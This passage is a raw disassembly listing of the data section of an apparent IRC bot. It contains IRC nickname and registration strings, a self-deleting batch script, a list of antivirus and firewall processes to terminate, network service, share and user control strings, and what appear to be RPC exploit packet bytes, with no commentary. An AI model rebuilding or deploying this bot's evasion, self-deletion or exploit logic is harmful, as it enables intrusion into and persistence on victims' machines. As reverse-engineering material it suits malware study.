'cem39',0 ; DATA XREF: ___:00438A44o align 10h aCool30m db 'cool30m',0 ; DATA XREF: ___:00438A40o aTropikal db 'tropikal',0 ; DATA XREF: ___:00438A3Co align 4 aPassenger db 'passenger',0 ; DATA XREF: ___:00438A38o align 10h aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00438A34o align 4 aUla db 'ula',0 ; DATA XREF: ___:00438A30o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00438A2Co aAkden db 'akden',0 ; DATA XREF: ___:00438A28o align 10h aKoray db 'KORAY',0 ; DATA XREF: ___:00438A24o align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:00438A20o align 10h aFirtina db 'firtina',0 ; DATA XREF: ___:00438A1Co aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00438A18o aM41ist db 'M41IST',0 ; DATA XREF: ___:00438A14o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00438A10o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: ___:00438A0Co align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00438A08o align 4 aErkan db 'erkan',0 ; DATA XREF: ___:00438A04o align 4 aDevre db 'devre',0 ; DATA XREF: ___:00438A00o align 4 aYabanc db 'yabanc',0 ; DATA XREF: ___:004389FCo align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:004389F8o align 4 aA44m db 'a44m',0 ; DATA XREF: ___:004389F4o align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:004389F0o align 4 off_438E98 dd offset byte_4B5245 ; DATA XREF: ___:004389ECo aSevda db 'sevda',0 ; DATA XREF: ___:004389E8o align 4 aKotan db 'kotan',0 ; DATA XREF: ___:004389E4o align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:004389E0o align 4 aAchilles db 'Achilles',0 ; DATA XREF: ___:004389DCo align 10h aKapk db 'kapk',0 ; DATA XREF: ___:004389D8o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:004389D4o align 4 aHayran db 'hayran',0 ; DATA XREF: ___:004389D0o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:004389CCo align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:004389C8o align 10h aDjspace db 'DJSPACE',0 ; DATA XREF: ___:004389C4o aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:004389C0o align 4 aUmut db 'umut-',0 ; DATA XREF: ___:004389BCo align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:004389B8o align 4 aKumul db 'kumul',0 ; DATA XREF: ___:004389B4o align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:004389B0o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:004389ACo align 10h aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:004389A8o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:004389A4o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:004389A0o align 10h aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:0043899Co align 10h aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00438998o aHoly db 'holy',0 ; DATA XREF: ___:00438994o align 10h aFlord db 'FLoRD',0 ; DATA XREF: ___:00438990o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:0043898Co aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00438988o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00438984o align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00438980o align 10h aRamtha db 'RAMTHA',0 ; DATA XREF: ___:0043897Co align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00438978o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: ___:00438974o align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00438970o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:0043896Co aArda db 'arda',0 ; DATA XREF: ___:00438968o align 4 aDevran db 'devran',0 ; DATA XREF: ___:00438964o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00438960o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:0043895Co align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00438958o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00438954o align 10h aBogac db 'bogac',0 ; DATA XREF: ___:00438950o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:0043894Co align 4 aAnkh db 'ankh',0 ; DATA XREF: ___:00438948o align 4 off_43902C dd offset byte_457441 ; DATA XREF: ___:00438944o dword_439030 dd 414C5941h, 2Dh ; DATA XREF: ___:00438940o aAlbina db 'albina',0 ; DATA XREF: ___:0043893Co align 10h aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00438938o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:00438934o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: ___:00438930o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:0043892Co align 4 aAhmet db 'ahmet',0 ; DATA XREF: ___:00438928o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:00438924o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00438920o align 4 aRetg db 'RETG',0 ; DATA XREF: ___:0043891Co align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00438918o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00438914o aAslii db 'aslii',0 ; DATA XREF: ___:00438910o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:0043890Co aHaticem db 'haticem',0 ; DATA XREF: ___:00438908o aArzu db 'ARZU',0 ; DATA XREF: ___:00438904o align 10h aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00438900o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:004388FCo align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: ___:004388F8o align 10h aTekir db 'tekir',0 ; DATA XREF: ___:004388F4o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:004388F0o align 4 aTrend3 db 'trend3',0 ; DATA XREF: ___:004388ECo align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:004388E8o align 4 aAkin db 'AKIN',0 ; DATA XREF: ___:004388E4o align 4 aMary_0 db 'MARY',0 ; DATA XREF: ___:004388E0o align 4 aJericho db 'JERICHO',0 ; DATA XREF: ___:004388DCo aTolga34 db 'Tolga34',0 ; DATA XREF: ___:004388D8o aMisssunday db 'misssunday',0 ; DATA XREF: ___:004388D4o align 10h aIrmal db 'irmal',0 ; DATA XREF: ___:004388D0o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:004388CCo align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:004388C8o align 10h aHexaaa db 'hexaaa',0 ; DATA XREF: ___:004388C4o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:004388C0o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:004388BCo align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:004388B8o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:004388B4o align 4 aKencing db 'Kencing',0 ; DATA XREF: ___:004388B0o aReshma db 'reshma',0 ; DATA XREF: ___:004388ACo align 4 aCamel db 'CAMEL',0 ; DATA XREF: ___:004388A8o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:004388A4o align 4 aImra db 'imra',0 ; DATA XREF: ___:004388A0o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:0043889Co align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:00438898o align 4 aKermit db 'kermit',0 ; DATA XREF: ___:00438894o align 4 aManee db 'manee',0 ; DATA XREF: ___:00438890o align 4 aTroller db 'troller',0 ; DATA XREF: ___:0043888Co aLuisa db 'Luisa',0 ; DATA XREF: ___:00438888o align 4 aNastysha db 'nastysha',0 ; DATA XREF: ___:00438884o align 10h aRimpy db 'rimpy',0 ; DATA XREF: ___:00438880o align 4 aJanno db 'janno',0 ; DATA XREF: ___:0043887Co align 10h aBunty db 'bunty',0 ; DATA XREF: ___:00438878o align 4 aHeval db 'heval',0 ; DATA XREF: ___:00438874o align 10h aCme db 'cme',0 ; DATA XREF: ___:00438870o aMarcy db 'marcy',0 ; DATA XREF: ___:0043886Co align 4 aTalika db 'talika',0 ; DATA XREF: ___:00438868o align 4 aShez db 'Shez',0 ; DATA XREF: ___:00438864o align 4 aKen db 'ken',0 ; DATA XREF: ___:00438860o aFlexster db 'flexster',0 ; DATA XREF: ___:0043885Co align 4 aKoko db 'koko',0 ; DATA XREF: ___:00438858o align 4 aMale db 'male',0 ; DATA XREF: ___:00438854o align 4 aSwin db 'swin',0 ; DATA XREF: ___:00438850o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: ___:0043884Co aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00438848o align 4 aEmilya db 'emilya',0 ; DATA XREF: ___:00438844o align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00438840o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:0043883Co aFarooq db 'farooq',0 ; DATA XREF: ___:00438838o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00438834o align 4 aM_0: ; DATA XREF: ___:00438830o ; ___:00438B7Co unicode 0, <M>,0 word_439298 dw 4Eh ; DATA XREF: sub_41A3C6+38r ; ___:0043882Co align 4 dword_43929C dd 42h ; DATA XREF: ___:00438828o dword_4392A0 dd 56h ; DATA XREF: ___:00438824o dword_4392A4 dd 43h ; DATA XREF: ___:00438820o dword_4392A8 dd 58h ; DATA XREF: ___:0043881Co ; ___:00438BB0o dword_4392AC dd 5Ah ; DATA XREF: ___:00438818o dword_4392B0 dd 4Ch ; DATA XREF: ___:00438814o dword_4392B4 dd 4Bh ; DATA XREF: ___:00438810o dword_4392B8 dd 4Ah ; DATA XREF: ___:0043880Co dword_4392BC dd 48h ; DATA XREF: ___:00438808o dword_4392C0 dd 47h ; DATA XREF: ___:00438804o dword_4392C4 dd 46h ; DATA XREF: ___:00438800o ; ___:00438B78o dword_4392C8 dd 44h ; DATA XREF: ___:004387FCo dword_4392CC dd 53h ; DATA XREF: ___:004387F8o dword_4392D0 dd 50h ; DATA XREF: ___:004387F0o dword_4392D4 dd 4Fh ; DATA XREF: ___:004387ECo dword_4392D8 dd 55h ; DATA XREF: ___:004387E4o word_4392DC dw 59h ; DATA XREF: sub_41A6EA+38r ; ___:004387E0o align 10h dword_4392E0 dd 54h ; DATA XREF: ___:004387DCo dword_4392E4 dd 52h ; DATA XREF: ___:004387D8o dword_4392E8 dd 45h ; DATA XREF: ___:004387D4o dword_4392EC dd 57h ; DATA XREF: ___:004387D0o dword_4392F0 dd 51h ; DATA XREF: ___:004387CCo dword_4392F4 dd 62h ; DATA XREF: ___:004387C0o ; ___:00438B8Co dword_4392F8 dd 78h ; DATA XREF: ___:00438B0Co dword_4392FC dd 7Ah ; DATA XREF: ___:00438B14o ; ___:00438B44o dword_439300 dd 6Ch, 68h ; DATA XREF: ___:004387ACo ; ___:00438AE0o dword_439308 dd 67h, 66h, 64h ; DATA XREF: ___:00438B48o dword_439314 dd 79h ; DATA XREF: ___:00438B10o dword_439318 dd 77h ; DATA XREF: ___:00438B08o dword_43931C dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_417B76+B1o dword_439328 dd 323334h ; DATA XREF: sub_417B76+79o dword_43932C dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_417B76+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417C61+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417E84+BCo ; sub_417E84+175r ... align 4 dword_439374 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4393C0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_4182CD+E3o ; --------------------------------------------------------------------------- loc_4393DC: ; DATA XREF: sub_4182CD+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_4393F0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_4182CD+13Fo aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4187E0+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4188A6+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4188A6+48o align 4 unk_4394A4 db 2Dh ; - ; DATA XREF: sub_418A2E+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_4394D4 db 2Dh ; - ; DATA XREF: sub_418A2E+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_4394FC dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_418A2E+5Co dd 65726165h, 64h off_439518 dd offset aAdd ; DATA XREF: sub_418C0E+60r ; sub_418FE5+51r ... ; "Add" off_43951C dd offset aAdded ; DATA XREF: sub_418C0E+2Dr ; sub_418FE5+83r ... ; "Added" dword_439520 dd 0 ; DATA XREF: sub_418C0E+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 43958Ch, 439584h, 2, 439578h, 43956Ch, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:0043954Co aStop_0 db 'Stop',0 ; DATA XREF: ___:00439548o align 4 aStarted db 'Started',0 ; DATA XREF: ___:00439540o aStart_0 db 'Start',0 ; DATA XREF: ___:0043953Co align 4 aListed db 'Listed',0 ; DATA XREF: ___:00439534o align 4 aList_1 db 'List',0 ; DATA XREF: ___:00439530o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:00439528o aDelete_0 db 'Delete',0 ; DATA XREF: ___:00439524o align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_43951Co align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_439518o unk_4395E0 db 2Dh ; - ; DATA XREF: sub_418C0E+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_439604 db 2Dh ; - ; DATA XREF: sub_418C0E+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 10h unk_439630 db 2Dh ; - ; DATA XREF: sub_418C0E+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_418D2A:loc_418E34o db 'the state of the service.',0 align 10h aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_418D2A:loc_418E2Do align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_418D2A:loc_418E26o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_418D2A:loc_418E1Fo align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_418D2A:loc_418E11o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_418D2A:loc_418E0Ao db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_418D2A:loc_418E03o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_418D2A:loc_418DD8o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_418D2A:loc_418DD1o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_418D2A:loc_418DCAo db 'tServiceCtrlDispatcher.',0 align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_418D2A:loc_418DC3o align 10h aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_418D2A:loc_418D98o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_418D2A:loc_418D8Eo aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_418D2A:loc_418D84o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_418D2A:loc_418D70o align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418EA8+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_418EA8:loc_418F74o aStarting db ' Starting',0 ; DATA XREF: sub_418EA8:loc_418F6Do aStoping db ' Stoping',0 ; DATA XREF: sub_418EA8:loc_418F66o aRunning db ' Running',0 ; DATA XREF: sub_418EA8:loc_418F5Fo aContinuing db ' Continuing',0 ; DATA XREF: sub_418EA8:loc_418F58o aPausing db ' Pausing',0 ; DATA XREF: sub_418EA8:loc_418F51o aPaused_0 db ' Paused',0 ; DATA XREF: sub_418EA8:loc_418F4Ao aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418EA8+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_418EA8+25o align 4 unk_439B84 db 2Dh ; - ; DATA XREF: sub_418FE5+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 dword_439BA8 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418FE5+8Ao dd 73252720h, 27h unk_439BC4 db 2Dh ; - ; DATA XREF: sub_418FE5+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 10h a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_4191DB+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_4191DB+B5o unk_439C10 db 2Dh ; - ; DATA XREF: sub_4191DB+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_4191DB+26o align 10h unk_439C70 db 2Dh ; - ; DATA XREF: sub_4192FC+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 unk_439C98 db 2Dh ; - ; DATA XREF: sub_4192FC+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_439CC8 db 2Dh ; - ; DATA XREF: sub_4192FC+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 unk_439CE8 db 2Dh ; - ; DATA XREF: sub_419443+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419443+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419443+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419443+1ACo align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419443+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_419443:loc_419562o align 4 aUser_0 db 'User',0 ; DATA XREF: sub_419443:loc_41955Bo align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_419443:loc_419554o align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419443+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419443+84o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_419443+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo align 4 unk_439EA4 db 2Dh ; - ; DATA XREF: sub_41982C+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_41982C+BEo align 4 unk_439ED8 db 2Dh ; - ; DATA XREF: sub_41982C+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_4199AC:loc_419A90o db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_4199AC+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_4199AC:loc_419A57o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_4199AC:loc_419A49o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4199AC:loc_419A0Fo align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_4199AC:loc_4199FBo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo align 10h dword_43A1E0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419AE0+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_43A20C db 2Dh ; - ; DATA XREF: sub_419AE0+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_43A238 dd offset aRegedit_exe ; DATA XREF: sub_419C09+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_43A340 dd offset dword_43A334 dd offset dword_43A328 dd offset dword_43A31C dd offset dword_43A310 dd offset dword_43A304 dd offset dword_43A2F4 dd offset dword_43A2E8 dd offset dword_43A2DC dd offset dword_43A2D0 dd offset dword_43A2C4 dd offset dword_43A2B4 dd offset dword_43A2A8 dd offset dword_43A298 dword_43A298 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_419C09+ECo ; ___:0043A294o dword_43A2A8 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A290o dword_43A2B4 dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:0043A28Co dword_43A2C4 dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:0043A288o dword_43A2D0 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A284o dword_43A2DC dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A280o dword_43A2E8 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A27Co dword_43A2F4 dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:0043A278o dword_43A304 dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:0043A274o dword_43A310 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:0043A270o dword_43A31C dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:0043A26Co dword_43A328 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:0043A268o dword_43A334 dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:0043A264o dword_43A340 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:0043A260o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A25Co align 10h aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A258o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:0043A254o align 4 aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:0043A250o align 4 aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:0043A24Co align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:0043A248o align 10h aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:0043A244o aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:0043A240o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:0043A23Co align 4 aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_43A238o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419C09+191o align 10h unk_43A3F0 db 2Dh ; - ; DATA XREF: sub_419E38:loc_419EBFo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_43A414 db 2Dh ; - ; DATA XREF: sub_419E38+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_43A438 db 2Dh ; - ; DATA XREF: sub_419E38+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh 